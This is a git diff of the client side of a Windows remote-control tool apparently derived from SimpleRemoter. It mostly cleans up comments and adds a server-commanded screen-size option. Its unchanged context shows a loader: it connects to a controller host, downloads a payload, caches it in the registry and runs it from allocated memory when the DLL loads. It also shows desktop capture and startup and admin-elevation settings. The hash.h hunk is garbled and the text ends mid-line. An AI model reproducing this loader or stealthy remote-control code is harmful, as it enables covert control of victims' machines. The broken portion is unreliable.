diff --git a/client/Manager.cpp b/client/Manager.cpp index 7f3b59f..3cf7fef 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -10,7 +10,7 @@ typedef struct { unsigned(__stdcall* start_address)(void*); void* arglist; - bool bInteractive; // 鏄惁鏀寔浜や簰妗岄潰 + bool bInteractive; // 是否支持交互桌面 HANDLE hEventTransferArg; } THREAD_ARGLIST, * LPTHREAD_ARGLIST; @@ -23,22 +23,23 @@ unsigned int __stdcall ThreadLoader(LPVOID param) THREAD_ARGLIST arg; memcpy(&arg, param, sizeof(arg)); SetEvent(arg.hEventTransferArg); - // 涓庢闈氦浜? + // 与桌面交互 if (arg.bInteractive) SelectDesktop(NULL); nRet = arg.start_address(arg.arglist); - } catch (...) { + } + catch (...) { }; return nRet; } HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD - SIZE_T dwStackSize, // initial stack size - LPTHREAD_START_ROUTINE lpStartAddress, // thread function - LPVOID lpParameter, // thread argument - DWORD dwCreationFlags, // creation option - LPDWORD lpThreadId, bool bInteractive) + SIZE_T dwStackSize, // initial stack size + LPTHREAD_START_ROUTINE lpStartAddress, // thread function + LPVOID lpParameter, // thread argument + DWORD dwCreationFlags, // creation option + LPDWORD lpThreadId, bool bInteractive) { HANDLE hThread = INVALID_HANDLE_VALUE; THREAD_ARGLIST arg; @@ -132,14 +133,15 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess) Mprintf("OpenDesktop Default failed: %d\n", GetLastError()); } } - } else { + } + else { Mprintf("OpenWindowStation failed: %d\n", GetLastError()); } } return hInputDesktop; } -// 杩斿洖鏂版闈㈠彞鏌勶紝濡傛灉娌℃湁鍙樺寲杩斿洖NULL +// 返回新桌面句柄,如果没有变化返回NULL HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights) { HDESK hInputDesk = OpenActiveDesktop(accessRights); @@ -147,8 +149,9 @@ HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights) if (!currentDesk) { return hInputDesk; - } else { - // 閫氳繃妗岄潰鍚嶇О鍒ゆ柇鏄惁鐪熸鍙樺寲 + } + else { + // 通过桌面名称判断是否真正变化 char oldName[256] = { 0 }; char newName[256] = { 0 }; DWORD len = 0; @@ -164,8 +167,8 @@ HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights) return NULL; } -// 妗岄潰鍒囨崲杈呭姪鍑芥暟锛氶€氳繃妗岄潰鍚嶇О姣旇緝鍒ゆ柇鏄惁闇€瑕佸垏鎹? -// 杩斿洖鍊硷細true琛ㄧず妗岄潰宸插垏鎹紝false琛ㄧず妗岄潰鏈彉鍖? +// 桌面切换辅助函数:通过桌面名称比较判断是否需要切换 +// 返回值:true表示桌面已切换,false表示桌面未变化 bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights) { HDESK hInputDesk = IsDesktopChanged(currentDesk, accessRights); @@ -192,17 +195,18 @@ HDESK SelectDesktop(TCHAR* name) if (name != NULL) { // Attempt to open the named desktop desktop = OpenDesktop(name, 0, FALSE, - DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | - DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | - DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | - DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); - } else { + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + } + else { // No, so open the input desktop desktop = OpenInputDesktop(0, FALSE, - DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | - DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | - DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | - DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); } // Did we succeed? @@ -231,12 +235,12 @@ CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState()) m_ClientObject = ClientObject; m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess); - m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); + m_hEventDlgOpen = CreateEvent(NULL, TRUE, FALSE, NULL); } CManager::~CManager() { - if (m_hEventDlgOpen!=NULL) { + if (m_hEventDlgOpen != NULL) { SAFE_CLOSE_HANDLE(m_hEventDlgOpen); m_hEventDlgOpen = NULL; } @@ -248,7 +252,8 @@ BOOL CManager::Send(LPBYTE lpData, UINT nSize) int nRet = 0; try { nRet = m_ClientObject->Send2Server((char*)lpData, nSize); - } catch(...) { + } + catch (...) { Mprintf("[ERROR] CManager::Send catch an error \n"); }; return nRet; @@ -257,7 +262,7 @@ BOOL CManager::Send(LPBYTE lpData, UINT nSize) VOID CManager::WaitForDialogOpen() { WaitForSingleObject(m_hEventDlgOpen, 8000); - //蹇呴』鐨凷leep,鍥犱负杩滅▼绐楀彛浠嶪nitDialog涓彂閫丆OMMAND_NEXT鍒版樉绀鸿繕瑕佷竴娈垫椂闂? + //必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间 Sleep(150); } diff --git a/client/Manager.h b/client/Manager.h index c6ff08f..0c331a5 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -30,16 +30,16 @@ typedef IOCPClient CClientSocket; typedef IOCPClient ISocketBase; HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD - SIZE_T dwStackSize, // initial stack size - LPTHREAD_START_ROUTINE lpStartAddress, // thread function - LPVOID lpParameter, // thread argument - DWORD dwCreationFlags, // creation option - LPDWORD lpThreadId, bool bInteractive = false); + SIZE_T dwStackSize, // initial stack size + LPTHREAD_START_ROUTINE lpStartAddress, // thread function + LPVOID lpParameter, // thread argument + DWORD dwCreationFlags, // creation option + LPDWORD lpThreadId, bool bInteractive = false); class CManager : public IOCPManager { public: - const State&g_bExit; // 1-琚帶绔€€鍑?2-涓绘帶绔€€鍑? + const State& g_bExit; // 1-被控端退出 2-主控端退出 BOOL m_bReady; CManager(IOCPClient* ClientObject); virtual ~CManager(); @@ -55,7 +55,7 @@ public: return m_ClientObject->IsConnected(); } virtual void Notify() { } - virtual void UpdateWallet(const std::string &wallet) { } + virtual void UpdateWallet(const std::string& wallet) { } BOOL Send(LPBYTE lpData, UINT nSize); BOOL SendData(LPBYTE lpData, UINT nSize) { diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 3700581..f284df9 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -226,6 +226,15 @@ public: return m_nScreenCount; } + virtual bool IsOriginalSize() const { + return m_BitmapInfor_Full->bmiHeader.biWidth == m_BitmapInfor_Send->bmiHeader.biWidth && + m_BitmapInfor_Full->bmiHeader.biHeight == m_BitmapInfor_Send->bmiHeader.biHeight; + } + + virtual bool IsLargeScreen(int width, int height) const { + return m_BitmapInfor_Send->bmiHeader.biWidth > width && m_BitmapInfor_Send->bmiHeader.biHeight > height; + } + virtual BOOL IsMultiScreenEnabled() const { return m_bEnableMultiScreen; diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index 23a7ac8..dc35953 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -7,6 +7,7 @@ // 仅在 Windows 8 及更新版本上受支持 #include #include +#include #pragma comment(lib, "d3d11.lib") #pragma comment(lib, "dxgi.lib") @@ -108,15 +109,21 @@ public: // 9. 初始化 BITMAPINFO m_BitmapInfor_Full = ConstructBitmapInfo(32, m_ulFullWidth, m_ulFullHeight); - m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full); - if (m_bAlgorithm != ALGORITHM_H264) { - m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth); - m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight); - m_BitmapInfor_Send->bmiHeader.biSizeImage = - ((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) * - 4 * m_BitmapInfor_Send->bmiHeader.biHeight; - } - + iniFile cfg(CLIENT_PATH); + int strategy = cfg.GetInt("settings", "ScreenStrategy", 0); + switch (strategy) { + case 1: + break; + default: + m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full); + if (m_bAlgorithm != ALGORITHM_H264) { + m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth); + m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight); + m_BitmapInfor_Send->bmiHeader.biSizeImage = + ((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) * + 4 * m_BitmapInfor_Send->bmiHeader.biHeight; + } + } // 10. 分配屏幕缓冲区 m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 0d11e77..97b50ce 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -20,6 +20,7 @@ #include "common/file_upload.h" #include #include "ClientDll.h" +#include #pragma comment(lib, "Shlwapi.lib") @@ -96,15 +97,22 @@ bool CScreenManager::SwitchScreen() if (m_ScreenSpyObject == NULL || m_ScreenSpyObject->GetScreenCount() <= 1 || !m_ScreenSpyObject->IsMultiScreenEnabled()) return false; - m_bIsWorking = FALSE; - DWORD s = WaitForSingleObject(m_hWorkThread, 3000); - if (s == WAIT_TIMEOUT) { - TerminateThread(m_hWorkThread, -1); - } - m_bIsWorking = TRUE; - m_SendFirst = FALSE; - m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL); - return true; + return RestartScreen(); +} + +bool CScreenManager::RestartScreen() +{ + if (m_ScreenSpyObject == NULL) + return false; + m_bIsWorking = FALSE; + DWORD s = WaitForSingleObject(m_hWorkThread, 3000); + if (s == WAIT_TIMEOUT) { + TerminateThread(m_hWorkThread, -1); + } + m_bIsWorking = TRUE; + m_SendFirst = FALSE; + m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL); + return true; } std::wstring ConvertToWString(const std::string& multiByteStr) @@ -509,6 +517,27 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_ClientObject->SetMultiThreadCompress(threadNum); break; } + case CMD_SCREEN_SIZE: { + int width, height, strategy = szBuffer[1]; + memcpy(&width, szBuffer + 2, 4); + memcpy(&height, szBuffer + 6, 4); + iniFile cfg(CLIENT_PATH); + cfg.SetInt("settings", "ScreenStrategy", strategy); + cfg.SetInt("settings", "ScreenWidth", width); + cfg.SetInt("settings", "ScreenHeight", height); + switch (strategy) + { + case 0: + if (m_ScreenSpyObject && m_ScreenSpyObject->IsLargeScreen(1920, 1080)) RestartScreen(); + break; + case 1: + if (m_ScreenSpyObject && !m_ScreenSpyObject->IsOriginalSize()) RestartScreen(); + break; + default: + break; + } + break; + } case CMD_FPS: { m_nMaxFPS = min(255, unsigned(szBuffer[1])); m_nMaxFPS = max(m_nMaxFPS, 1); diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 38988d4..03797fe 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -72,6 +72,7 @@ public: DWORD s_lastThreadId = 0; bool SwitchScreen(); + bool RestartScreen(); virtual BOOL OnReconnect(); uint64_t m_DlgID = 0; BOOL m_SendFirst = FALSE; diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 05e4551..3f3c144 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -6,6 +6,7 @@ #include "ScreenSpy.h" #include "Common.h" #include +#include ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -18,13 +19,20 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight); + iniFile cfg(CLIENT_PATH); + int strategy = cfg.GetInt("settings", "ScreenStrategy", 0); m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full); - if (m_bAlgorithm != ALGORITHM_H264) { - m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth); - m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight); - m_BitmapInfor_Send->bmiHeader.biSizeImage = - ((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) * - 4 * m_BitmapInfor_Send->bmiHeader.biHeight; + switch (strategy) { + case 1: // 1 - Original size + break; + default: // 0 - 1080p + if (m_bAlgorithm != ALGORITHM_H264) { + m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth); + m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight); + m_BitmapInfor_Send->bmiHeader.biSizeImage = + ((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) * + 4 * m_BitmapInfor_Send->bmiHeader.biHeight; + } } m_hDeskTopDC = GetDC(NULL); diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index 96dd24d..9544efe 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -9,7 +9,7 @@ #pragma once #endif // _MSC_VER > 1000 -#define COPY_ALL 1 // 鎷疯礉鍏ㄩ儴灞忓箷锛屼笉鍒嗗潡鎷疯礉锛坅dded by yuanyuanxiang 2019-1-7锛? +#define COPY_ALL 1 // 拷贝全部屏幕,不分块拷贝(added by yuanyuanxiang 2019-1-7) #include "CursorInfo.h" #include "ScreenCapture.h" @@ -80,18 +80,18 @@ private: int height; }; -class CScreenSpy : public ScreenCapture +class CScreenSpy : public ScreenCapture { protected: - HDC m_hDeskTopDC; // 灞忓箷涓婁笅鏂? - HDC m_hFullMemDC; // 涓婁竴涓笂涓嬫枃 - HDC m_hDiffMemDC; // 宸紓涓婁笅鏂? - HBITMAP m_BitmapHandle; // 涓婁竴甯т綅鍥? - HBITMAP m_DiffBitmapHandle; // 宸紓甯т綅鍥? - PVOID m_BitmapData_Full; // 褰撳墠浣嶅浘鏁版嵁 - PVOID m_DiffBitmapData_Full; // 宸紓浣嶅浘鏁版嵁 + HDC m_hDeskTopDC; // 屏幕上下文 + HDC m_hFullMemDC; // 上一个上下文 + HDC m_hDiffMemDC; // 差异上下文 + HBITMAP m_BitmapHandle; // 上一帧位图 + HBITMAP m_DiffBitmapHandle; // 差异帧位图 + PVOID m_BitmapData_Full; // 当前位图数据 + PVOID m_DiffBitmapData_Full; // 差异位图数据 - BOOL m_bVirtualPaint;// 鏄惁铏氭嫙缁樺埗 + BOOL m_bVirtualPaint;// 是否虚拟绘制 EnumHwndsPrintData m_data; public: @@ -147,9 +147,9 @@ public: HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp()); BOOL ret = FALSE; if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT, - (WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) { + (WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) { BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(), - rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY); + rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY); ret = TRUE; } @@ -200,7 +200,7 @@ public: VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); - // 閲嶇疆妗岄潰 DC锛堟闈㈠垏鎹㈡椂璋冪敤锛? + // 重置桌面 DC(桌面切换时调用) void ResetDesktopDC() { ReleaseDC(NULL, m_hDeskTopDC); diff --git a/client/clang_rt_compat.c b/client/clang_rt_compat.c index e5b7837..82ef62d 100644 --- a/client/clang_rt_compat.c +++ b/client/clang_rt_compat.c @@ -1,5 +1,5 @@ // clang_rt_compat.c -// 鍏煎 32 浣?Clang 缂栬瘧鐨?libx264 杩愯鏃跺嚱鏁? +// 兼容 32 位 Clang 编译的 libx264 运行时函数 #ifdef _M_IX86 diff --git a/client/main.c b/client/main.c index 931fc28..315bcdf 100644 --- a/client/main.c +++ b/client/main.c @@ -28,24 +28,24 @@ typedef struct PkgHeader { } PkgHeader; struct CONNECT_ADDRESS { - char szFlag[32]; // 鏍囪瘑 - char szServerIP[100]; // 涓绘帶IP - char szPort[8]; // 涓绘帶绔彛 - int iType; // 瀹㈡埛绔被鍨? - bool bEncrypt; // 涓婄嚎淇℃伅鏄惁鍔犲瘑 - char szBuildDate[12]; // 鏋勫缓鏃ユ湡(鐗堟湰) - int iMultiOpen; // 鏀寔鎵撳紑澶氫釜 - int iStartup; // 鍚姩鏂瑰紡 - int iHeaderEnc; // 鏁版嵁鍔犲瘑绫诲瀷 - char protoType; // 鍗忚绫诲瀷 - char runningType; // 杩愯鏂瑰紡 - char szGroupName[24]; // 鍒嗙粍鍚嶇О - char runasAdmin; // 鏄惁鎻愬崌鏉冮檺杩愯 - char szReserved[11]; // 鍗犱綅锛屼娇缁撴瀯浣撳崰鎹?00瀛楄妭 - uint64_t clientID; // 瀹㈡埛绔敮涓€鏍囪瘑 - uint64_t parentHwnd; // 鐖惰繘绋嬬獥鍙e彞鏌? - uint64_t superAdmin; // 绠$悊鍛樹富鎺D - char pwdHash[64]; // 瀵嗙爜鍝堝笇 + char szFlag[32]; // 标识 + char szServerIP[100]; // 主控IP + char szPort[8]; // 主控端口 + int iType; // 客户端类型 + bool bEncrypt; // 上线信息是否加密 + char szBuildDate[12]; // 构建日期(版本) + int iMultiOpen; // 支持打开多个 + int iStartup; // 启动方式 + int iHeaderEnc; // 数据加密类型 + char protoType; // 协议类型 + char runningType; // 运行方式 + char szGroupName[24]; // 分组名称 + char runasAdmin; // 是否提升权限运行 + char szReserved[11]; // 占位,使结构体占据300字节 + uint64_t clientID; // 客户端唯一标识 + uint64_t parentHwnd; // 父进程窗口句柄 + uint64_t superAdmin; // 管理员主控ID + char pwdHash[64]; // 密码哈希 } g_Server = { "Hello, World!", "127.0.0.1", "6543", 0, 0, __DATE__ }; #pragma pack(pop) @@ -67,14 +67,14 @@ PkgHeader MakePkgHeader(int originLen) int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize) { - struct sockaddr_in sa = {0}; + struct sockaddr_in sa = { 0 }; if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { strncpy(outIpBuffer, hostName, bufferSize - 1); outIpBuffer[bufferSize - 1] = '\0'; return 0; } - struct addrinfo hints = {0}; + struct addrinfo hints = { 0 }; struct addrinfo* res = NULL; hints.ai_family = AF_INET; // IPv4 only hints.ai_socktype = SOCK_STREAM; @@ -96,11 +96,11 @@ int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize) bool WriteRegistryString(const char* path, const char* keyName, const char* value) { HKEY hKey; - LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL); + LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, path, 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL); if (result != ERROR_SUCCESS) { return false; } - result = RegSetValueExA(hKey,keyName,0,REG_SZ,(const BYTE*)value,(DWORD)(strlen(value) + 1)); + result = RegSetValueExA(hKey, keyName, 0, REG_SZ, (const BYTE*)value, (DWORD)(strlen(value) + 1)); RegCloseKey(hKey); return result == ERROR_SUCCESS; @@ -115,7 +115,7 @@ char* ReadRegistryString(const char* subKey, const char* valueName) DWORD dataType = 0; DWORD dataSize = 1024; - char *data = (char*)malloc(dataSize+1); + char* data = (char*)malloc(dataSize + 1); if (data) { ret = RegQueryValueExA(hKey, valueName, NULL, &dataType, (LPBYTE)data, &dataSize); data[min(dataSize, 1024)] = '\0'; @@ -132,11 +132,11 @@ char* ReadRegistryString(const char* subKey, const char* valueName) bool WriteAppSettingBinary(const char* path, const char* keyName, const void* data, DWORD dataSize) { HKEY hKey; - LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL); + LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, path, 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL); if (result != ERROR_SUCCESS) { return false; } - result = RegSetValueExA(hKey,keyName,0,REG_BINARY,(const BYTE*)data,dataSize); + result = RegSetValueExA(hKey, keyName, 0, REG_BINARY, (const BYTE*)data, dataSize); RegCloseKey(hKey); return result == ERROR_SUCCESS; @@ -145,7 +145,7 @@ bool WriteAppSettingBinary(const char* path, const char* keyName, const void* da bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBuf, DWORD* dataSize) { HKEY hKey; - LONG result = RegOpenKeyExA(HKEY_CURRENT_USER,path,0,KEY_READ,&hKey); + LONG result = RegOpenKeyExA(HKEY_CURRENT_USER, path, 0, KEY_READ, &hKey); if (result != ERROR_SUCCESS) { *dataSize = 0; return false; @@ -153,14 +153,14 @@ bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBu DWORD type = 0; DWORD requiredSize = 0; - result = RegQueryValueExA(hKey,keyName,NULL,&type,NULL,&requiredSize); + result = RegQueryValueExA(hKey, keyName, NULL, &type, NULL, &requiredSize); if (result != ERROR_SUCCESS || type != REG_BINARY || requiredSize == 0 || requiredSize > *dataSize) { *dataSize = 0; RegCloseKey(hKey); return false; } - result = RegQueryValueExA(hKey,keyName,NULL,NULL,outDataBuf,&requiredSize); + result = RegQueryValueExA(hKey, keyName, NULL, NULL, outDataBuf, &requiredSize); RegCloseKey(hKey); if (result == ERROR_SUCCESS) { *dataSize = requiredSize; @@ -205,7 +205,7 @@ const char* CalcMD5FromBytes(const BYTE* data, DWORD length) return NULL; } - // 杞崲涓哄崄鍏繘鍒跺瓧绗︿覆 + // 转换为十六进制字符串 for (DWORD i = 0; i < hashLen; ++i) { sprintf(&md5String[i * 2], "%02x", hash[i]); } @@ -227,9 +227,9 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) char addr[100] = { 0 }, hash[33] = { 0 }; strcpy(addr, sIP); BOOL isAuthKernel = FALSE; - char eventName[64]; - snprintf(eventName, sizeof(eventName), "YAMA_%d", GetCurrentProcessId()); - HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName); + char eventName[64]; + snprintf(eventName, sizeof(eventName), "YAMA_%d", GetCurrentProcessId()); + HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName); if (hEvent) { CloseHandle(hEvent); isAuthKernel = TRUE; @@ -257,7 +257,8 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) char serverIP[INET_ADDRSTRLEN] = { 0 }; if (GetIPAddress(addr, serverIP, sizeof(serverIP)) == 0) { Mprintf("Resolved IP: %s\n", serverIP); - } else { + } + else { Mprintf("Failed to resolve '%s'.\n", addr); WSACleanup(); return NULL; @@ -270,7 +271,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) int attemptCount = 0, requestCount = 0; do { if (!isFirstConnect) - Sleep(IsRelease ? rand()%120 * 1000 : 5000); + Sleep(IsRelease ? rand() % 120 * 1000 : 5000); isFirstConnect = FALSE; if (++attemptCount == 20) PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518); @@ -295,7 +296,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ }; char req[sizeof(PkgHeader) + sizeof(command)] = { 0 }; - memcpy(command+32, hash, 32); + memcpy(command + 32, hash, 32); PkgHeader h = MakePkgHeader(sizeof(command)); memcpy(req, &h, sizeof(PkgHeader)); memcpy(req + sizeof(PkgHeader), command, sizeof(command)); @@ -328,7 +329,8 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) break; } } - } else { + } + else { closesocket(clientSocket); break; } @@ -363,7 +365,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) if (ReadAppSettingBinary(path, "data", buffer, &binSize)) { *sizeOut = binSize - 22; const char* md5 = CalcMD5FromBytes((BYTE*)buffer + 22, *sizeOut); - if (strcmp(md5, hash)==0) { + if (strcmp(md5, hash) == 0) { Mprintf("Read data from registry succeed: %d bytes\n", *sizeOut); return buffer; } @@ -401,7 +403,7 @@ extern DLL_API DWORD WINAPI run(LPVOID param) if (dllData == NULL) return -1; void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (NULL == execMem) return -2; - int offset = MemoryFind(dllData, MASTER_HASH, size, sizeof(MASTER_HASH)-1); + int offset = MemoryFind(dllData, MASTER_HASH, size, sizeof(MASTER_HASH) - 1); if (offset != -1) { memcpy(dllData + offset, info->User, 64); } @@ -444,7 +446,8 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) param.Port = atoi(g_Server.szPort); param.User = g_Server.pwdHash; threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL); - } else if (fdwReason == DLL_PROCESS_DETACH) { + } + else if (fdwReason == DLL_PROCESS_DETACH) { if (threadHandle) TerminateThread(threadHandle, 0x20250619); } return TRUE; diff --git a/common/commands.h b/common/commands.h index b90cc77..abbd838 100644 --- a/common/commands.h +++ b/common/commands.h @@ -200,6 +200,7 @@ enum { CMD_FPS = 71, CMD_COMPRESS_FILES = 72, // 压缩文件 CMD_UNCOMPRESS_FILES = 73, // 解压文件 + CMD_SCREEN_SIZE = 74, // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 diff --git a/common/hash.h b/common/hash.h index 7517fa9..7321cf7 100644 --- a/common/hash.h +++ b/common/hash.h @@ -1,20 +1,19 @@ - -/* -鍘熸枃锛歨ttps://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.1.1 +/* +原文:https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.1.1 -鑷獀1.1.1鐗堟湰寮€濮嬶紝涓绘帶绋嬪簭闇€瑕佹巿鏉冿紝骞朵笖浼氳嚜鍔ㄨ繛鎺ュ埌鎺堟潈鏈嶅姟鍣紝鎮ㄥ彲浠ヨ仈绯讳綔鑰呰姹傛巿鏉冦€? -濡傛灉瀵硅繖涓湁鎰忚锛岃浣跨敤鏃╂湡鐗堟湰锛?v1.0.8锛夈€傝嚜琛屼慨鏀瑰拰缂栬瘧绋嬪簭锛屼篃鍙互瑙e喅璇ラ棶棰橈紙鍙傝€?#91锛夈€? +自v1.1.1版本开始,主控程序需要授权,并且会自动连接到授权服务器,您可以联系作者请求授权。 +如果对这个有意见,请使用早期版本( 璁块棶 -// 杩斿洖鐨?HKEY 闇€瑕佽皟鐢ㄨ€呭湪浣跨敤瀹屾瘯鍚庤皟鐢?RegCloseKey 鍏抽棴 +// 获取当前会话用户的注册表根键 +// SYSTEM 进程无法使用 HKEY_CURRENT_USER,需要通过 HKEY_USERS\ 访问 +// 返回的 HKEY 需要调用者在使用完毕后调用 RegCloseKey 关闭 inline HKEY GetCurrentUserRegistryKey() { HKEY hUserKey = NULL; - // 鑾峰彇褰撳墠杩涚▼鐨勪細璇?ID + // 获取当前进程的会话 ID DWORD sessionId = 0; ProcessIdToSessionId(GetCurrentProcessId(), &sessionId); - // 鑾峰彇璇ヤ細璇濈殑鐢ㄦ埛浠ょ墝 + // 获取该会话的用户令牌 HANDLE hUserToken = NULL; if (!WTSQueryUserToken(sessionId, &hUserToken)) { - // 濡傛灉澶辫触锛堝彲鑳戒笉鏄湇鍔¤繘绋嬶級锛屽洖閫€鍒?HKEY_CURRENT_USER + // 如果失败(可能不是服务进程),回退到 HKEY_CURRENT_USER return HKEY_CURRENT_USER; } - // 鑾峰彇浠ょ墝涓殑鐢ㄦ埛淇℃伅澶у皬 + // 获取令牌中的用户信息大小 DWORD dwSize = 0; GetTokenInformation(hUserToken, TokenUser, NULL, 0, &dwSize); if (dwSize == 0) { @@ -76,7 +76,7 @@ inline HKEY GetCurrentUserRegistryKey() return HKEY_CURRENT_USER; } - // 鍒嗛厤鍐呭瓨骞惰幏鍙栫敤鎴蜂俊鎭? + // 分配内存并获取用户信息 TOKEN_USER* pTokenUser = (TOKEN_USER*)malloc(dwSize); if (!pTokenUser) { SAFE_CLOSE_HANDLE(hUserToken); @@ -89,7 +89,7 @@ inline HKEY GetCurrentUserRegistryKey() return HKEY_CURRENT_USER; } - // 灏?SID 杞崲涓哄瓧绗︿覆 + // 将 SID 转换为字符串 LPSTR szSid = NULL; if (!ConvertSidToStringSidA(pTokenUser->User.Sid, &szSid)) { free(pTokenUser); @@ -97,9 +97,9 @@ inline 